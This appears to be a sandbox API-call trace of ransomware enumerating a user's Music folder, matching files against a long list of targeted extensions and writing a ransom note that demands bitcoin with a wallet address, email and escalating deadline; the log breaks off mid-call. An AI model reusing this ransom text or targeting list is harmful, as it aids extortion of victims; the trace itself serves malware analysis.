PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.cs") returned 0 [0090.300] lstrlenA (lpString="*.cs") returned 4 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.cpp") returned 0 [0090.300] lstrlenA (lpString="*.cpp") returned 5 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.rar") returned 0 [0090.300] lstrlenA (lpString="*.rar") returned 5 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.zip") returned 0 [0090.300] lstrlenA (lpString="*.zip") returned 5 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.html") returned 0 [0090.300] lstrlenA (lpString="*.html") returned 6 [0090.300] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.htm") returned 0 [0090.300] lstrlenA (lpString="*.htm") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.xlsx") returned 0 [0090.301] lstrlenA (lpString="*.xlsx") returned 6 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.xls") returned 0 [0090.301] lstrlenA (lpString="*.xls") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mp4") returned 0 [0090.301] lstrlenA (lpString="*.mp4") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.ppt") returned 0 [0090.301] lstrlenA (lpString="*.ppt") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.pptx") returned 0 [0090.301] lstrlenA (lpString="*.pptx") returned 6 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.doc") returned 0 [0090.301] lstrlenA (lpString="*.doc") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.dot") returned 0 [0090.301] lstrlenA (lpString="*.dot") returned 5 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.docx") returned 0 [0090.301] lstrlenA (lpString="*.docx") returned 6 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.7z") returned 0 [0090.301] lstrlenA (lpString="*.7z") returned 4 [0090.301] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.tar") returned 0 [0090.302] lstrlenA (lpString="*.tar") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.bz2") returned 0 [0090.302] lstrlenA (lpString="*.bz2") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.gz") returned 0 [0090.302] lstrlenA (lpString="*.gz") returned 4 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mkv") returned 0 [0090.302] lstrlenA (lpString="*.mkv") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.eml") returned 0 [0090.302] lstrlenA (lpString="*.eml") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.msg") returned 0 [0090.302] lstrlenA (lpString="*.msg") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.edb") returned 0 [0090.302] lstrlenA (lpString="*.edb") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.accdb") returned 0 [0090.302] lstrlenA (lpString="*.accdb") returned 7 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.odb") returned 0 [0090.302] lstrlenA (lpString="*.odb") returned 5 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.java") returned 0 [0090.302] lstrlenA (lpString="*.java") returned 6 [0090.302] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.asm") returned 0 [0090.303] lstrlenA (lpString="*.asm") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.pfx") returned 0 [0090.303] lstrlenA (lpString="*.pfx") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.pem") returned 0 [0090.303] lstrlenA (lpString="*.pem") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.p12") returned 0 [0090.303] lstrlenA (lpString="*.p12") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.gpg") returned 0 [0090.303] lstrlenA (lpString="*.gpg") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.vsd") returned 0 [0090.303] lstrlenA (lpString="*.vsd") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.odg") returned 0 [0090.303] lstrlenA (lpString="*.odg") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.raw") returned 0 [0090.303] lstrlenA (lpString="*.raw") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.nef") returned 0 [0090.303] lstrlenA (lpString="*.nef") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.svg") returned 0 [0090.303] lstrlenA (lpString="*.svg") returned 5 [0090.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.psd") returned 0 [0090.303] lstrlenA (lpString="*.psd") returned 5 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.vmx") returned 0 [0090.304] lstrlenA (lpString="*.vmx") returned 5 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.vmdk") returned 0 [0090.304] lstrlenA (lpString="*.vmdk") returned 6 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.vdi") returned 0 [0090.304] lstrlenA (lpString="*.vdi") returned 5 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.lay6") returned 0 [0090.304] lstrlenA (lpString="*.lay6") returned 6 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mpeg") returned 0 [0090.304] lstrlenA (lpString="*.mpeg") returned 6 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.djvu") returned 0 [0090.304] lstrlenA (lpString="*.djvu") returned 6 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.tiff") returned 0 [0090.304] lstrlenA (lpString="*.tiff") returned 6 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.backup") returned 0 [0090.304] lstrlenA (lpString="*.backup") returned 8 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.pdf") returned 0 [0090.304] lstrlenA (lpString="*.pdf") returned 5 [0090.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.cert") returned 0 [0090.305] lstrlenA (lpString="*.cert") returned 6 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.docm") returned 0 [0090.305] lstrlenA (lpString="*.docm") returned 6 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.xlsm") returned 0 [0090.305] lstrlenA (lpString="*.xlsm") returned 6 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.dwg") returned 0 [0090.305] lstrlenA (lpString="*.dwg") returned 5 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.nd") returned 0 [0090.305] lstrlenA (lpString="*.nd") returned 4 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.tlg") returned 0 [0090.305] lstrlenA (lpString="*.tlg") returned 5 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.lgb") returned 0 [0090.305] lstrlenA (lpString="*.lgb") returned 5 [0090.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mov") returned 0 [0090.306] lstrlenA (lpString="*.mov") returned 5 [0090.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.xdw") returned 0 [0090.306] lstrlenA (lpString="*.xdw") returned 5 [0090.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.ods") returned 0 [0090.306] lstrlenA (lpString="*.ods") returned 5 [0090.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.wav") returned 0 [0090.306] lstrlenA (lpString="*.wav") returned 5 [0090.306] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.mp3") returned 0 [0090.307] lstrlenA (lpString="*.mp3") returned 5 [0090.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.aiff") returned 0 [0090.307] lstrlenA (lpString="*.aiff") returned 6 [0090.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.flac") returned 0 [0090.307] lstrlenA (lpString="*.flac") returned 6 [0090.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.m4a") returned 0 [0090.307] lstrlenA (lpString="*.m4a") returned 5 [0090.307] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini", pszSpec="*.csv") returned 0 [0090.307] lstrlenA (lpString="*.csv") returned 5 [0090.307] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fd01a60, ftCreationTime.dwHighDateTime=0x1d5e345, ftLastAccessTime.dwLowDateTime=0x857f78f0, ftLastAccessTime.dwHighDateTime=0x1d5e5b6, ftLastWriteTime.dwLowDateTime=0x857f78f0, ftLastWriteTime.dwHighDateTime=0x1d5e5b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GXonilJBO52H80m", cAlternateFileName="GXONIL~1")) returned 1 [0090.307] lstrcmpA (lpString1=".", lpString2="GXonilJBO52H80m") returned -1 [0090.307] lstrcmpA (lpString1="..", lpString2="GXonilJBO52H80m") returned -1 [0090.307] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned="desktop.ini" [0090.307] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpString2="GXonilJBO52H80m" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m" [0090.307] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m") returned 51 [0090.307] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fd01a60, ftCreationTime.dwHighDateTime=0x1d5e345, ftLastAccessTime.dwLowDateTime=0x857f78f0, ftLastAccessTime.dwHighDateTime=0x1d5e5b6, ftLastWriteTime.dwLowDateTime=0x857f78f0, ftLastWriteTime.dwHighDateTime=0x1d5e5b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x52d5b8, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.308] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.308] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fd01a60, ftCreationTime.dwHighDateTime=0x1d5e345, ftLastAccessTime.dwLowDateTime=0x857f78f0, ftLastAccessTime.dwHighDateTime=0x1d5e5b6, ftLastWriteTime.dwLowDateTime=0x857f78f0, ftLastWriteTime.dwHighDateTime=0x1d5e5b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.308] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.308] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.308] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4109d7d0, ftCreationTime.dwHighDateTime=0x1d5d9c0, ftLastAccessTime.dwLowDateTime=0x5032a60, ftLastAccessTime.dwHighDateTime=0x1d5d804, ftLastWriteTime.dwLowDateTime=0x5032a60, ftLastWriteTime.dwHighDateTime=0x1d5d804, nFileSizeHigh=0x0, nFileSizeLow=0x10a54, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7pUfetEX4 ApwfNwBQBK.mp3", cAlternateFileName="7PUFET~1.MP3")) returned 1 [0090.308] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.308] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7pUfetEX4 ApwfNwBQBK.mp3") returned 1 [0090.308] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7pUfetEX4 ApwfNwBQBK.mp3") returned 1 [0090.308] lstrcmpiA (lpString1="", lpString2="7pUfetEX4 ApwfNwBQBK.mp3") returned -1 [0090.308] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\*.*") returned="*.*" [0090.308] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" [0090.308] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\") returned="" [0090.308] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" [0090.308] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\how to decrypt files.txt")) returned 0xffffffff [0090.309] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxoniljbo52h80m\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.310] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.310] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.312] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.312] CloseHandle (hObject=0x8c) returned 1 [0090.312] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\", lpString2="7pUfetEX4 ApwfNwBQBK.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3" [0090.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.ems") returned 0 [0090.312] lstrlenA (lpString="*.ems") returned 5 [0090.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.db") returned 0 [0090.312] lstrlenA (lpString="*.db") returned 4 [0090.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.dbf") returned 0 [0090.312] lstrlenA (lpString="*.dbf") returned 5 [0090.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.myox") returned 0 [0090.312] lstrlenA (lpString="*.myox") returned 6 [0090.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.myo") returned 0 [0090.313] lstrlenA (lpString="*.myo") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbw") returned 0 [0090.313] lstrlenA (lpString="*.qbw") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbb") returned 0 [0090.313] lstrlenA (lpString="*.qbb") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbm") returned 0 [0090.313] lstrlenA (lpString="*.qbm") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbo") returned 0 [0090.313] lstrlenA (lpString="*.qbo") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbx") returned 0 [0090.313] lstrlenA (lpString="*.qbx") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qba") returned 0 [0090.313] lstrlenA (lpString="*.qba") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qby") returned 0 [0090.313] lstrlenA (lpString="*.qby") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qbj") returned 0 [0090.313] lstrlenA (lpString="*.qbj") returned 5 [0090.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.ofx") returned 0 [0090.313] lstrlenA (lpString="*.ofx") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.qif") returned 0 [0090.314] lstrlenA (lpString="*.qif") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mye") returned 0 [0090.314] lstrlenA (lpString="*.mye") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mbox") returned 0 [0090.314] lstrlenA (lpString="*.mbox") returned 6 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.eml") returned 0 [0090.314] lstrlenA (lpString="*.eml") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.pst") returned 0 [0090.314] lstrlenA (lpString="*.pst") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.ost") returned 0 [0090.314] lstrlenA (lpString="*.ost") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.idx") returned 0 [0090.314] lstrlenA (lpString="*.idx") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.dbx") returned 0 [0090.314] lstrlenA (lpString="*.dbx") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.sql") returned 0 [0090.314] lstrlenA (lpString="*.sql") returned 5 [0090.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.mdb") returned 0 [0090.314] lstrlenA (lpString="*.mdb") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.fdb") returned 0 [0090.315] lstrlenA (lpString="*.fdb") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.wab") returned 0 [0090.315] lstrlenA (lpString="*.wab") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.dat") returned 0 [0090.315] lstrlenA (lpString="*.dat") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.txt") returned 0 [0090.315] lstrlenA (lpString="*.txt") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.jpeg") returned 0 [0090.315] lstrlenA (lpString="*.jpeg") returned 6 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.jpg") returned 0 [0090.315] lstrlenA (lpString="*.jpg") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.png") returned 0 [0090.315] lstrlenA (lpString="*.png") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.php") returned 0 [0090.315] lstrlenA (lpString="*.php") returned 5 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.cs") returned 0 [0090.315] lstrlenA (lpString="*.cs") returned 4 [0090.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", pszSpec="*.cpp") returned 0 [0090.315] lstrlenA (lpString="*.cpp") returned 5 [0090.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\GXonilJBO52H80m\\7pUfetEX4 ApwfNwBQBK.mp3", 